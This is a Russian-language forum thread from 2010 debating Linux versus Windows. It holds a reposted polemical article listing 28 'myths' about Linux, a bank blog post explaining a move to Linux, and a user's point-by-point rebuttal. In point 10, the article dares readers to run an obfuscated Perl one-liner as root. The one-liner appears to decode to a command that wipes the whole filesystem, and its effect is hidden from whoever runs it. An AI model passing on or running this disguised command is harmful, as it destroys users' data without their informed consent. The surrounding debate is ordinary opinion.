Компьютерный форум NoWa.cc
Правила Форума
редакция от 29.01.2013
Портал .::2Baksa.Net::. Трекер BRODIM.COM
Вернуться   Компьютерный форум NoWa.cc > Операционные системы > UNIX, Linux, MacOs для PC и другие ОС

Уважаемые пользователи nowa.cc и 2baksa.net. У нас сложилось тяжелое финансовое положение. Мы работаем для вас вот уже более 14 лет
и теперь вынуждены просить о помощи. Окажите посильную поддержку проектам. Мы очень надеемся на вас. Реквизиты для переводов ниже.
Webmoney Webmoney Z826074280762 Webmoney R087294265364 Webmoney U051530505194 Webmoney E804621616710
PayPal E-mail для связи / to Contact E-mail для связи по вопросу помощи / to Contact : E-mail для связи / to Contact
Кошелек для вашей помощи Yandex 410013204813773
Yandex Спасибо за поддержку!

Российский интернет-шлюз: контроль трафика, DLP, антивирус, fail2ban, прокси-сервер, шифрование данных, https-фильтрация. Сертификат ФСТЭК

загрузка...
Закрытая тема
 
Опции темы Language
Старый 16.06.2010, 07:50   #1
Пользователь
 
Пол:Мужской
Регистрация: 14.05.2010
Сообщений: 37
Репутация: 13
По умолчанию Linux против Windows

На глаза попалась статья. Прочитав её малость огорчился. Потому как не которые моменты от туда действительно правдивы. И эту статью можно посчитать вредоносной...
Ни в коем случаи не подумайте, что я пытаюсь пропагандировать Windows. Лично у меня сейчас дома стоит Ubuntu 10 и Debian 5. Пытаюсь набрать опыта в администрировании этих систем.

Статья взята с [Для просмотра ссылок требуется регистрация. Зарегистрироваться...]
Скажите ваше мнение на это...


28 причин почему Linux не имеет будущего

1. Linux лучше подходит для продвинутых пользователей - Windows для начинающих.

2. Linux используют только профессионалы.

3. Linux учит думать - от Windows пользователь тупеет.

4. Пользователи Linux мирно существуют и никому ничего не навязывают.

5. Доля Linux растет с каждым годом.

6. Под Linux много программ.

7. ... но Linux это только ядро!

8. Консоль удобнее GUI

9. Реестр - сакс, конфиги рулят!

10. В Linux не требуется владение консолью все делается из графических утилит.

11. Под Linux нет вирусов.

12. Linux бесплатен!

13. Я не хочу использовать пиратское программное обеспечение. Хочу жить с чистой совестью!

14. Я использую Linux по идеологическим соображениям.

15. Билл Гейтс ужасный злодей.

16. Linux имеет современную и перспективную архитектуру.

17. Я хочу посмотреть как устроена операционная система изнутри. Linux представляет мне хорошую возможность разобраться в этом.

18. Linux хорошо работает даже на старом компьютере.

19. Linux портирован даже на ... тостер и это здорово!

20. В Linux функция X появилась раньше чем в Windows.

21. В Linux разделение прав реализовано лучше чем в Windows.

22. OpenSource это хорошо.

23. Регулярно обнаруживаемые ошибки положительно сказываются на надежности и качестве программных продуктов.

24. Linux это единственная открытая альтернатива Windows.

25. Мне сказали, что внедрение Linux в бизнесе позволит мне сэкономить.

26. Linux в наше время разрабатывают специалисты.

27. В Windows могут быть "вражеские" закладки, а в Linux нет.

28. Linux с каждым годом совершенствуется, разработчики обещают поправить все недостатки.




1. Linux лучше подходит для продвинутых пользователей - Windows для начинающих.

Очередное бредовое заявление. Для начинающего кого? Админа? Программиста? Художника? Архитектора? Дизайнера? Слесаря? Юриста? Музыканта? Бухгалтера? Дворника? Спортсмена? Водителя автобуса?

Кем я должен быть, чтобы мне был нужен именно Linux? Некоторые особо изворотливые линуксоиды выдавливают из себя некоего сферического "человека начинающего знакомиться с компьютерами". А если 90% так и не перешли на Linux, то значит, что они по прежнему находятся в стадии "ознакомления"?


2. Linux используют только профессионалы.

К примеру, только в страшном сне дизайнер или архитектор может представить себе, что его заставили использовать Linux. Вы, простите, в нормальном доме живете? А фильмы смотрите? Или вы хотите сказать, что архитекторов и дизайнеров нельзя называть профессионалами? А ведь именно они проектировали дом, в котором вы живете, и именно они рисовали декорации для вашего любимого фильма! Вам бы хотелось жить в криво построенном доме, или смотреть унылую пародию на фильм, просто потому, что вместо занятия своим делом, человек начал одержимо ковыряться в системе, в попытках разобраться, почему что-то не работает? Профессионалу важны удобные и инструменты, будь это программист, ему потребуется тщательно структурированный и комментированный код, а так же детальная документация. Музыканту - хорошие и функциональные программы для микширования, сведения и наложения эффектов, писателю - удобный текстовый редактор и т.д.

Всего этого вы не найдете в Linux. Даже миф о том, что Linux хорош для программистов, рушится как только вы сталкиваетесь с той самой хваленой "архитектурой Linux", о которой я упоминаю в других разделах этого FAQ.

В Linux просто нет программ, способных удовлетворить потребности пользователя, если они уходят дальше "походить по интернету в FireFox". В таком случае тут и Linux не при чем. Он будет не более чем "пускалкой" для более успешного программного продукта, да и то пускалкой постольку-поскольку в место Linux может быть использована любая другая (открытая если это требуется) система.

Таким образом мы получаем некого сферического профессионала, надрессированного на решение специфических для Linux проблем и ничего более. Польза от такого человека крайне сомнительна. Умение решать надуманные проблемы никому не нужно.


3. Linux учит думать - от Windows пользователь тупеет.

Данный бред придумали Линуксоиды, чтобы хоть как-то оправдать, тот факт, что за компьютером они не работают, а ковыряются в системе в попытках заставить ее работать по человечески. Linux не учит думать, Linux учит решать надуманные проблемы, которых просто не должно быть. Зачем мне нужно напрягаться, искать какие-то подходящие именно для меня дистрибутивы, разбираться с тем, от какого железа я готов отказаться ради счастья использовать Linux? Зачем я должен постоянно читать документацию на все что ни попадя? Зачем мне вообще голову ерундой забивать? У меня есть дела и поважнее чем постоянное решение берущихся на пустом месте проблем. Я заплатил за компьютер и хочу сесть и начать работать с ним. Разве это плохо?

Куплю я, к примеру, тостер принесу домой. Он не работает. Принесу обратно в магазин, а продавец-подросток мне начнет кричать "вы его не осииилили, вон там к нему инструкция в 5 томах, а ещё на коробке адрес интернет-форума написан!!!" Как вы думаете, куда я этому продавцу этот тостер запихну?

На счет "пользователь тупеет" это часто бывает от Linux. По факту Linux заставляет не столько учиться, сколько приобретать кустарные навыки по настройке и поддержанию в приличном состоянии самого себя.

Весь Linux и OpenSource вместе взятые - это что то среднее между коммунистической утопией и сектой. А что это такое мы с вами прекрасно знаем - сверху сидят умные дяди, которые зарабатывают на этом деньги (в том числе пилят государственные - т.е. наши же с вами налоги), а грязная же работа делается руками романтически настроенных мальчиков и девочек у которых в головах одни мечты, философия хиппи и "свобода".


4. Пользователи Linux мирно существуют и никому ничего не навязывают.

Как только появились линуксоиды, появилось стремление с их стороны противопоставить себя окружающим. Задолго до Linux все было тихо и мирно. Были пользователи Mac, были пользователи Amiga, пользователи Windows и пользователи других систем. Ключевое слово тут именно пользователи. С момента начала "победоносного" шествия Linux по планете выяснилось, что оказывается все другие люди относятся ко второму сорту, если они не понимают и не принимают все прелести использование Linux. Разумеется, ряд разногласий из разряда "что лучше Mac или Amiga" был всегда. Но тут не было главного, - тут не было идеологии, которая как раз таки появилась вместе с Linux. Если у других систем и платформ были те или иные конкурентные преимущества, то у Linux не было ни того не другого. Действительно, что было у Linux? У него не было ровным счетом никаких достоинств! Но так продвигать систему было невозможно, нужно было что-то, выделяющее ее на фоне остальных, что-то, что можно будет скормить широким массам под видом общего блага. Этим благом стала идея открытости.

Подобное мы можем наблюдать в различных сектах. Там, как правило, тоже есть идея некого счастья, приближения к абсолюту и т.д. Заметьте, что секты отличает та самая узость мышления, вокруг которой выстраивается весь фундамент учения. Таким образом Linux стал двойным ядром. С одной стороны он представлял собой ядро, как центральную часть системы, с другой он оказался ядром, как точкой сплочения приверженцев секты. Как только у группы людей начинает расти свое самосознание и чувство своей отличности от других, у этой группы появляется свое само-наименование. Вот тут то и появляется термин "линуксоид". И как только накопилась некая критическая масса фанатиков, была начата политика тотального навязывания и насаждения Linux. Хитрая спекуляция понятиями, свободами и ценностями преследовала главной целью убедить широкие массы в том, что Linux имеет целый ряд перспектив и что он им просто необходим в реальной жизни. Все несогласные стали получать клеймо ламеров, неспособных понять и разобраться. Именно с подачи линуксоидов появился едкий нарицательный термин "виндузятник", который обозначал не кого иного, как простых пользователей (!). Таким образом именно линуксоидами было создано разделение на согласных и несогласных и именно ими была начата политика активного расширения границ своей секты за счет тех людей, которые боялись получить клеймо неудачников, не способных работать с Linux. С этого началось агрессивное навязывание Linux широким массам.


5. Доля Linux растет с каждым годом.

Во-первых увеличение количества компьютеров под управлением Linux связано с общим увеличением компьютеров у населения. На самом деле суммарная доля компьютеров под управлением Linux за десять лет практически не изменилась и июль 2009 года составляет 1%[1]. Заметьте, что этот процент не чистый, так как многие люди попавшие в него держат Linux на правах "посмотреть что там в очередном дистрибутиве сделали". Далеко не всегда дело доходит до реальной установки Linux, многие ограничиваются установкой на VMWare, или использованием, так называемых, LiveCD. Большая часть линуксоидов, кстати, держит у себя установленными сразу несколько дистрибутивов, что дополнительно накручивает счетчик в большую сторону. Так же, заметьте, что этот процент разбросан по десятку "популярных" дистрибутивов ! То есть даже тут нет никакого единства! Вы можете представить себе, например, пользователя MacOS, который ставит себе мультибутом сразу 2-3 копии MacOS и пытается пользоваться ими одновременно? Для пользователей Linux это норма.

Не стоит забывать про встроенные решения и разного рода сервера, в которых Linux еще имеет некоторую популярность, и которые видимо с успехом дополняют этот самый процент. Как следствие: даже самые смелые ожидания линуксоидов далеки от реальности.


6. Под Linux много программ.

Да только 90% из них нафиг не нужны простому пользователю. Иными словам,, Linux может обеспечить только около 10% функциональности, необходимой в реальной жизни. Да, конечно по интернету походить и почту проверить можно и под Linux, но тоже самое я могу сделать и на мобильном телефоне! Как только потребуется выполнить более или менее серьезную задачу на компьютере, придется действительно туго! Вот представьте себе, что в один прекрасный момент вам потребовалось скачать себе на жесткий диск содержимое определенного сайта. Казалось бы неожиданная, но вполне реальная ситуация. На 2009 год для простого пользователя Linux она является невыполнимой! Единственной программой для скачивания файлов является Wget, но она консольная, и для того, чтобы разобраться с правилами ее использования, придется обладать хорошими знаниями и потратить не один час на поиск скрипта, удовлетворяющего именно ваши потребности! Далее смотрим на описание и ужасаемся: "Wget является не-интерактивной программой. Это означает, что после её запуска пользователь не может повлиять на её работу, кроме как повлиять на выполнение программы посредством сигнала (утилита kill) или нажатием на клавиатуре Ctrl-C в терминале"[2]. Это напоминает машину, в документации к которой написано, что "пользователь не может повлиять на ее движение, пока машина или не врежется в стену или не взорвется".

Пользователь, если задаст подобный вопрос линуксоиду, получит ответ, что это делается одной командой. Но, во-первых, эту команду нужно знать, а во-вторых кто сказал, что ей все ограничится? А в третьих, кто говорил, что в Linux уже не требуется умение работать с командной строкой!? Вы знаете, что на сайте может потребоваться пройти авторизацию, на нем могут быть java скрипты, с которыми Wget работать по нормальному не умеет, вам может потребоваться особым образом отсортировать скаченное, или скачать только текстовую составляющую. Вариантов сотни. И в Linux вы это просто не сможете сделать! А если вам это очень нужно, то как вы будете выходить из положения?

Мне вот тут недавно потребовалось заполнить данные в одной интерактивной форме. Заполнение формы "на месте" стоило 500 рублей. Мне нужно было заполнить три разных копии. Все это я мог сделать и дома, но вот только в Linux предоставленный мне PDF если и открывался, то напечатать ничего не получалось. То в программе нет поддержки, то вместо букв ерунда какая-то печатается. В итоге у меня была великолепная возможность отдать 1500 рублей за то, что другие люди впечатают нужные буквы в нужные места, а я как дурак бы продолжил гордиться своей исключительностью и тем, что я использую Linux. Вы готовы иметь подобную перспективу?

До этого понадобилось графики и диаграммы для одного учебного пособия выполнить. И снова оказалось, что под Linux нет инструментов! Под Windows кроме Excel, который меня не очень устроил в этом плане, были и другие хорошие программы. Что мне в этом плане мог предложить Linux? Корявый OpenOffice с его Calc? Ну и зачем он мне, если мне нужна была более узконаправленная программа.

Потребовалось мне еще сделать какое-то действие, выходящие за рамки того, что предусмотрели разработчики, и снова неудача! Снова нет подходящих инструментов. Ведь разработчикам даже в голову не приходило проанализировать реальные потребности пользователей.

Примеров можно приводить сотни, начиная от избитого Photoshop и заканчивая написанием драйвера под новое устройство!


7. ... но Linux это только ядро!

Простите, вы что, только ядро внедрять собрались?! Почему, как только линуксоидов начинают прижимать к стенке, начинается отчаянная попытка подмены понятий?


8. Консоль удобнее GUI

Консоль не является интуитивно понятным интерфейсом. Чем шире круг пользовательских задач и чем реже они повторяются, тем менее удобен интерфейс командной строки. Это факт. Графический интерфейс всех приложений построен на схожих принципах, что позволяет при необходимости освоиться даже методом тыка. Вот пример "интуитивной" команды распаковки архива "bzip2 -cd foo.tar.bz2 tar -xvf -".

Проблема линуксодов в том, что они считают себя умнее от умения решения искусственно созданных проблем. Нормальному человеку гораздо проще нажать кнопоку "распаковать", чем утруждать себя запоминанием кучи букв и цифр. Глупее он от этого не станет, зато у него появится возможность оставить больше времени на действительно полезные занятия.


9. Реестр - сакс, конфиги рулят!

GUI пишут программисты, которые там проверяют ошибки. Конфиг пишут пользователи и там ошибок никто не проверяет. Соответственно, уж если где пользователю проще ошибиться, так это как раз при правке текстового файла.
Разберем все на примере. В комментариях к конфигам обычно прописан формат данных, в соответствии с которым они вводятся. Ашипся я, опечатался. 1976 перепутал с 1796. А дата используется только в конце длительного процесса. Причем без даты завершен он корректно быть не может - результат будет неверный. Причем дата зависит от конфигурации, а не от приложения. Т.е. в одной конфигурации дата может быть валидна, а в другой нет. В GUI я могу сколь угодно проверять, используя какие угодно правила. Важно, что в GUI есть дополнительная прослойка кода, которая занимается удобным представление данных и их проверкой. И отказывается от нее в пользу прямого редактирования теста нет ни малейшего смысла. Таким образом вероятность ввода не корректных данных исключается!

Тут линуксоиды могут сказать, что "любые параметры должны проверяться при загрузке приложения". Только проверяться они могут по разному! Дело программы убедиться, что она эти данные сможет переварить, а не то, что они соответствуют задаче. Иначе при любом изменении придется программу переписывать.

Могут ли линуксоиды в своем текстовом конфиге ограничить выбор доступных значений, проверить их валидность, к примеру? Вместо того, чтобы исключить заведомо некорректную конфигурации на этапе ввода, продвинутые линуксоиды предлагают делать это в рантайме? А если параметры некорректны в определенных обстоятельствах, которые так вдруг не наступят? Ловить экшепшены раз в неделю? Вот он Unix-way!

Любая ошибка при правке конфигов может просто убить систему - в этом я многократно убеждался на собственном опыте. Заметьте, тут не нужны даже вирусы! Для падения программы или всей системы может хватить того, что при вводе дробного значения вы вместо запятой в качестве разделителя поставите точку.

Графические конфигураторы - это качественно новый уровень как по удобству, так и по функциональности. Использование тектовых файлов для настройки - это не более чем попытка переложить на пользователя обязанности программиста.

На самом деле линуксоиды, пусть и с большой неохотой, начинают признавать, что идея использования текстовых файлов для настройки системы в наше время изжила себя. Именно поэтому в последние годы был сделан акцент на то, что пользователю теперь не надо лазить в конфиги, а достаточно понаживать кнопочки. До этого, напомню, нажимание кнопочек в графическом интерфейсе было признаком того, что человек ламер. Теперь вроде как стандарт изменился, и кликать мышкой уже не так зазорно. Введение графических конфигураторов для текстовыми конфигов породило только новые сложности, просто потому что вместо качественной переделки был избран традиционный unix путь, ведущий к придумыванию новых костылей для решения поставленных задач.

Что касается реестра. Реестр является единой базой данных для хранения сведений о конфигурации компьютера и настроек операционной системы имеющей с иерархической структурой. К пользователю, кстати, реестр никакого отношения не имеет, и работа с ним может потребоваться только разработчику. Отсюда мне непонятны претензии линуксоидов о том, что им непонятны значения и параметры в нем. Что за стремление лезть куда не попадя и возмущаться от того, что "ничего не понятно"?

Писать о преимуществах реестра смысла нет. Достаточно вспомнить, что все данные на серверах хранятся в виде баз данных, а не в виде текстовых файлов. Поэтому остается только догадываться о причинах столь странной слепоты Unix мира.


10. В Linux не требуется владение консолью все делается из графических утилит.

В Linux невозможна нормальная настройка и работа, используя исключительно графические средства. По-прежнему даже для выполнения ряда тривиальных действий приходится открывать консоль, править системные файлы, искать по интернету параметры и ключи, а также заниматься прочей ерундой, которая никак не связана с работой за компьютером. Если не верите, то откройте любой форум, посвященный Linux, и посмотрите пути решения ряда проблем. Пример с выполнением такого простого действия, как создание локальной копии сайта, я уже приводил.

Вдобавок, в использовании консоли заключается серьезная опасность. Попробуйте запустить следующий скрипт с правами root.

perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-}<&`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'


11. Под Linux нет вирусов.

Linux, как известно строится на принципах unix-like. Unix даже тут оказался первым! В 1988 году червь Морриса [3] оказался первым в истории компьютерным вирусом, причинившим огромные убытки ряду компаний, которые уже тогда успели обзавестись компьютерами. Нанесенный ущерб составил 100 миллионов долларов! Как всегда, в одном из сервисов Unix была найдена дыра, ну а там и массовая эпидемия...

В наше время под Linux действительно вирусы писать не принято. Что говорить, если зачастую даже программы в Linux работают от дистрибутива к дистрибутиву через раз. Думаете, кто-то будет тратить время на попытку произвести атаку на единичные компьютеры?

Также следует учитывать еще и изначально более высокий уровень компьютерной грамотности линуксоидов (которая, кстати говоря, падает). Система разделения прав, которой так гордятся Линуксоиды, также в некоторой мере играет в этом роль. Но и под Windows ограниченные учетные записи никто не отменял.

В последние годы вообще появился ряд "антивирусов для Linux". И как это не удивительно, они оказались востребованными!


12. Linux бесплатен!

В этом мире не бывает ничего бесплатного. Если вы думаете, что кто-то для вас будет работать забесплатно, то вы ошибаетесь. "Бесплатное" продвижение - хитрая стратегия по зарабатыванию денег на желающих халявы людях. Первая доза всегда бесплатно! Главное подсадить! Если в случае с той же Windows вы понимаете, за что платите, то в Linux данного понимания у людей, одурманенных словами о "свободе", нет. В самом простом случае под бесплатностью Linux будет подразумеваться то, что вас (завуалировано, разумеется) будут использовать в роли beta тестера для последующего коммерческого продвижения платных дистрибутивов Linux. К примеру, Xandros Linux стоит 100$ за десктопную версию, серверная же стоит 450$. Не хило, правда [4]?

В общем-то этот факт и не скрывается, только понимают его единицы, остальные слишком заслушались сказками про свободу. Вот что написано в Wiki по поводу известного дистрибутива Fedoкф: "Дистрибутив рассчитан на тех, кто любит работать с новыми версиями программ. Изменения, предназначенные для Red Hat Enterprise Linux, сначала проходят обкат в данном дистрибутиве [5]." Далее нам сообщается: "По лицензионным соображениям отсутствует поддержка MP3 и DivX". И снова тут прочитывается мысль: хотите, чтобы еще и музыка с видео воспроизводились - покупайте наш платный дистрибутив Red Hat Enterprise Linux, подписка на который в самом дешевом варианте составляет 80$ в год [6]! И это при том, что нам даже не гарантируют своевременную техническую поддержку, а говорят о сроке в два рабочих дня! Вы готовы, чтобы ваше предприятие просто так стояло и отдыхало, пока конкуренты продолжают работать? И снова 80$ стоит только самая дешевая подписка, в которую непонятно что включено. Для сравнения: нормальная версия, где четко дано понять, что нам продают десктопную версию ("Workstation with Standard Subscription"), стоит 299$ в год(!!)! И только за эти деньги нам предоставят полноценную поддержку 5 дней в неделю по 12 часов. (12x5 phone support, web support, unlimited incidents). И то только в рабочие дни, а если в выходные что-то случится...

Да взять даже самый правильный и самый лицензионно чистый Debian. Тут тоже идет обкатка сырого кода на опьяненных "свободой" пользователях. На базе Debian делают якобы свободную Ubuntu, которую мало того что по старой африканской традиции всегда не допиливают перед релизом, так еще и ее создатель заявляет, что планирует через несколько лет "бесплатного" развития выйти в деньги! Вам не кажется странным что "бесплатный", "бесплатно", а потом раз, и "выйти в деньги". Деньги-то, скажите, откуда в такой "прозрачной" схеме берутся? Правильно, тут идет тщательно законспирированное решение по зарабатыванию денег на особо наивных пользователях. Сначала деньги вкладываются в проект, а потом тот самый проект должен начать приносить деньги. Это бизнес! Тем более спонсором проекта Ubuntu является коммерческая фирма Canonical.

Если вы все еще верите в то, что кто-то будет просто так работать, то покажите мне место, где рабочие бесплатно строят дома, а фермеры выращивают пшеницу! Покажите мне это место, я хочу его увидеть!


13. Я не хочу использовать пиратское программное обеспечение. Хочу жить с чистой совестью!

Да-да, наслушались мы сказок о праведности линуксоидов, которые даже улицу всегда переходят строго по пешеходным переходам на зеленый свет. Простите, вы хотите сказать, что фильмы и музыку вы тоже всегда покупаете? Что ни у кого фильм на "посмотреть" даже не брали? А ведь вы тем самым нарушаете авторские права других людей! Как можно быть столь правильным в одном и столь нечестным в другом? Что у вас предприятие и вам сказали, что "на Linux будет дешевле и надежней"? Вас обманули, ну или если мягко говорить, не правильно проинформировали. Вам не мешает более детально ознакомиться с так называемой "философией бесплатного ПО", прежде чем делать скоропостижные выводы о том, что на бесплатном Linux будет дешевле.

Также не путайте понятие воровство и незаконное использование чужой интеллектуальной собственности. Путанием понятий страдают не только линуксоиды, но и правообладатели.

Для простых пользователей - вам никто не мешает и под Windows использовать Свободное Программное Обеспечение, которого тут, кстати говоря, значительно больше, чем в Linux. Что, скажите мне, вам мешает это сделать?


14. Я использую Linux по идеологическим соображениям.

Тогда вам остается только обратиться к врачу. У нормальных людей нет отупляющей идеологии.
astala вне форума
 
Вверх
Надежный китайский посредник Taobao.com


Реклама: philips 227e6ldaddtynbkznjh rhjd 6монтажник кондиционеров нижний тагил курсыремонт кожи на руле автомобиляпрокат компьютеров мониторов и ноутбуков в москве


Старый 16.06.2010, 08:19   #2
astala
Пользователь
 
Пол:Мужской
Регистрация: 14.05.2010
Сообщений: 37
Репутация: 13
По умолчанию Re: Linux против Windows

Корпоративный блог ПриватБанка
Ссылка на статью [Для просмотра ссылок требуется регистрация. Зарегистрироваться...]

Есть две основные причины перехода на Линукс - экономическая и технологическая. Обе они тесно связаны.

С экономикой, думаю, все очевидно. Умножаете хх,ххх рабочих мест на ххх долларов стоимости лицензионного ПО и получаете хх,ххх,ххх долл расходов. Это , конечно, хорошо для Майкрософта, но плохо для банка и, соответственно, для клиента, так как увеличивает себестоимость нашей продукции.

пример:

Одна и та же модель нетбука ASUS Eee PC с Линуксом стоит 379 евро, а с Windows- 449, то есть 20% разница. Если учесть, что нетбук нужен лишь для серфинга в интернете, необходимость переплаты довольно неоднозначна.

Что касается технологической стороны вопросы, большинство сервисов банка - и внешних, и внутренних – доступно через веб-интерфейс, поэтому, по большому счету, нам от компьютера нужен лишь браузер и выход в Интернет.

Именно это и позволило нам без особых :-) потрясений перейти на линукс (подробности этого Великого Перехода, Вам лучше уточнить у моего коллеги Никиты Волкова). Не нужно было переписывать офлайновый софт и переучивать персонал. Можно сказать, что потенциально мы готовы к миграции на любую операционную систему.

Кстати, сейчас активно экспериментируем с ОС Android в качестве платформы для мобильных рабочих мест и киосков для приема наличных. а дальше, кто знает, может удастся ее засунуть и в пос-терминал и перестать наконец-то зависеть от поставщиков терминального софта :-)

Что касается проблем с подключением внешнего оборудования и шрифтами – все они, конечно, были. Но это скорее вопрос освоения и эксплуатации любого нового устройствасистемы. Я, например, до сих пор каждый день нахожу что-то новое в своем iPhone. Но разве проблема в Apple?

Теперь попробую ответить на самый сложный вопрос "Так почему не Microsoft?"

Потому что дорого и за деньги. Потому что офисное ПО Майкрософт это офлайновое ПО и элементарно не удовлетворяет наших текущих потребностей в распределенной работе. Потому что есть отлично работающие и бесплатные вэб-альтернативы. Потому что операционный софт мы делаем самостоятельно.

На бытовом языке ответ можно сформулировать так: Зачем платить за то, что объективно не нужно?

Недавно мы встречались с работниками Майкрософт и по сути разговор свелся к таким же вопросам как и ваши. Объясняя, почему мы не с ними, я для себя понял 2 интересные вещи.

Во-первых, они делают продажи в основном финансовым директорам, людям по определению далеким от понимания технологий и не ведающих про существование альтернатив. Здесь хорошо срабатывает прием "Мы вам дадим скидку" :-) или "нашей продукцией пользуются компании из списка FORTUNE 500". думаю что это антиреклама - самые динамичные компании из этого списка не пользуются продукцией мс :-)

Лекарство от этой болезни одно: топ-менеджерам компаний нужно развивать в себе технологическую компетенцию. Это неизбежно, и лучше это начать делать раньше, чем платить умным, но чужим дядям. Делать выбор в пользу той или иной платформы нужно осознанно.

По сути любой руководитель и/или предприниматель должен получить второе образование в области Интернет-технологий.

Если ты производишь яйца, тебе придется разбираться и в яйцах и в интернет.

Есть очень хорошая фраза в книге Бизнес в стиле фанк навсегда. Капитализм в удовольствие: "Политика может победить бизнес, однако технологии всегда одержат верх над политикой". Если вам это утверждение покажется некорректным, вспомните, что помогло взлететь skype и google. Уж точно не знание телекомовского бизнеса или компетенция в маркетинге, или политические связи. Все что им потребовалось – это ТЕХНОЛОГИЯ.

Я очень уважаю Майкрософт и видение этой компании, которое блестяще сбылось - компьютер в каждый дом. Фундаментальный вклад этой компании в развитие хайтек индустрии невозможно недооценить. Есть очень глубокие книги Гейтса Бизнес со скоростью мысли и Дорога в будущее, В них отлично описано, как строить цифровые организации. Настоятельно рекомендую к прочтению. Мы их прочли в 2000 году и сильно поумнели.

Ребята из Майкрософт задали мне на их взгляд убийственный вопрос : "Как же вы работаете с документами, если у вас нет пакета офис?". Мой ответ был таков: "Более 3 лет пользуюсь Writely (ныне google doc) и отлично себя чувствую".

Уверен, что сотрудники Майкрософт ничуть не глупее, чем у Гугла. Но устаревшая бизнес–модель, продажа софта, которая приносит много денег, не позволяет резко сменить парадигму и рождать новые модели взаимодействия с клиентом. И это здорово, потому что появляется возможность для появления и развития новых компаний.

И во-вторых, рассказывая все это гостям из Майкрософт, я поймал себя на том, что все красиво излагаю, но дома на игровом компьютере у меня таки стоит виндовс! :-)

И тут до меня дошло, что такое виндовс. Я ее использую исключительно как ИГРОВУЮ ПЛАТФОРМУ. И вот тут я ЗА Майкрософт. Плачу и за ОС, и за игры. Получаю массу удовольствия, и альтернатив пока не наблюдаю.

Может быть, развитие Windows, как игровой платформы – это и есть правильное направление развития MS?
astala вне форума
 
Вверх
Старый 16.06.2010, 14:40   #3
Alan2006
Постоялец
 
Пол:Мужской
Регистрация: 02.07.2009
Сообщений: 393
Репутация: 79
По умолчанию Re: Linux против Windows

Ну статья взята со стоплинукса... А на сколько мне известно - владелец сайта питает сииильную нелюбовь к никсам при чём как правило не может внятно ничего обосновать.... порой возникает чувство, что его заставляют работать на линуксе а он не хочет... а заставляют... а не хочет... вот и выплёскивает свою бессильную злобу в таких вот статьях (но это только субъективно мои ощущения (даже не мнение))....на лурке про него почитать можно...
Чтобы не захломлять топ цитатами буду просто указывать пункт.

1. Противоречивое заявление... Действительно, если админ не настроил всё как надо заранее, пользователю будет трудновато работать с линуксом. В то же время, если пользователя посадить за "голый" виндовс - эфект скорее всего будет таким же.
Отсюда вывод такой: как не крути нужен админ. А дальше как он может настроить виндовс/линукс зависит только от прямоты рук админа. Хотя и не спорю что дома эникейщику (особенно уже успевшему привыкнуть к виндам) всё-таки лучше садиться за винды... всем спокойнее будет....

2. Просто бред. Профессионалы бывают разные... и не понятно к чему тут вся котовасия про дизайнеров и архитекторов? Намёк на то, что все архитекторы делают чертежи и т.п. под виндами? Бред! Намёк на то, что линукс по сравнению с виндами это дом с разными окнами и покосившейся крышей? Опять же бред. Ничем не обоснованный....

3. А никто и не говорит что будет легко. Только вот в чём загвоздка: в линуксе можно решить любую "надуманную" и "не надуманную" проблему. Чего нельзя сказать о M$, где то, чего не предусмотрели разрабы сделать крайне проблематично бывает штатными средствами.

4. Ваще бред... не линуксоиды развернули компанию "антивинды", а наоборот (склероз подвёл - не помню как называлась) где мс начали подтасовывать факты. Да, и ещё, упоминается про то, что до линукса пользователи жили на виндах и т.п.... вот уж не знаю как это... если склероз не изменяет - первые винды появились в 1985.... сам же линукс (именно название) появился в 1991... но основан на юниксах которые были дааавным давно.... так что тут феил автора....

5. всё относительно. спорить не буду.

6. Если 90% программ не нужны среднему пользователю (что, кстати, можно сказать и про винды) это не означает что обеспечено только 10% необходимого функционала.
Про проблемы автора со скачиванием файлов, работой с pdf и другими узконаправленными программами - если он не знает чего-то, то это не обозначает что этого "чего-то" нет в природе. И подобная ситуация с ним могла возникнуть и при пользовании виндами. Кстати, не молоток куёт подковы а кузнец: переферийные программы не являются частью ОС. И если в линуксах есть проприетарный софт (софт от сторонних разработчиков, вшитый в дистрибутив) то на винде с этим голяк. Офис отдельно. Работа с пдф отдельно. При чём многое кроме того что найти нужно и оплатить ещё.

7. О какой подмене понятий говорит автор? Кто и когда прижимал линуксоидов к стенке? Он? Смешно!..

8. В некоторых случаях действительно консоль удобнее ибо даёт больше возможностей. Даже в винде (тот же ipconfig к примеру. вот где его через гуи искать я до сих пор не знаю). Да и представления у майкрософта о "интуитивно-понятном интерфейся" кхм... своеобразные порой.

9. Во-первых не понятно при чём тут гуи? Реестр это отнюдь не гуи а иерархическая база данных, в которую так же можно вручную вписать что угодно а программа убедившись что данные "сможет проглотить" будет работать. В обратную сторону тоже верно: для конфигов существуют гуи, которые позволяют редактировать эти самые конфиги с обработкой данных. И ни в одном случае не будет гарантии что дата введена неверная а программа не будет пытаться её обработать. Телепатией пока компьютеры не владеют...
И ещё: а чем текстовые файлы принципиально отличается от тех же ini файлов или реестра, который сделан на основе тех же файлов?
Имхо, плох не сам реестр а то, что на него возложено слишком много функций. Хранить ресенты и другие часто изменяемые данные лучше всё же в другом месте.

10. Автор не очень хорошо знает предметную область. Подавляющее большинство задачь можно решить при помощи гуя и без консоли. Почему пользуются консолью: консоль всегда под рукой и не нужно искать в меню нужную программу каждый раз.

11. Вирусы есть хоть и меньше в разы их. Это неоспоримо. Но что касается дыр: а в M$ их меньше? Не думаю. Не случайно обновления к виндам весят как правило больше чем сами винды.
Что же касается линуксовых антивирусов - подавляющее их большинство направлено лишь на то, чтобы не дать заражённым хранящимся на компьютере данным (при использовании их с виндовых компов) заразить винды. Так что увеличение антивирусов для линукса стоит рассматривать только как показатель увеличения доли линукса (извеняюсь за тафтологию) на рынке ОС.

12. Не все линуксы платные. Да и оплата, как правило, идёт за тех. поддержку а не за само право пользования линуксом.
Про убунту: где же такое заявлял создатель (да и нет у неё единого создателя. не надо пальцем в небо тыкать)? Кроме того, сообщество гарантирует что убунту всегда будет бесплатной (см. офф. сайт).

13. Кто из нас без греха пусть первый бросит в меня камень. Спорить трудно. Но экономия всё равно существена. По скромным подсчётам (с хорошей скидкой) покупка легального софта от майкрософта выйдет в копеечку:
6к Windows
1-2к лицензия на общее подключение к серверу (если сервер в организации один)
3-4к лицензия на терм. подключение к серверу (опять же к каждому)
а если серверов, не дай бог, несколько.... сушите вёсла, господа

14. Вообще ничем не обоснованный выпад. Автору нечего сказать вот и переходит на оскорбления...

15. Ога... вспоминая ту же MS-DOS - программа была успешно стырена и продана за свою...
Маки давно выпускаются и для IBM совместимых машин. Автор этого видимо не знает просто....
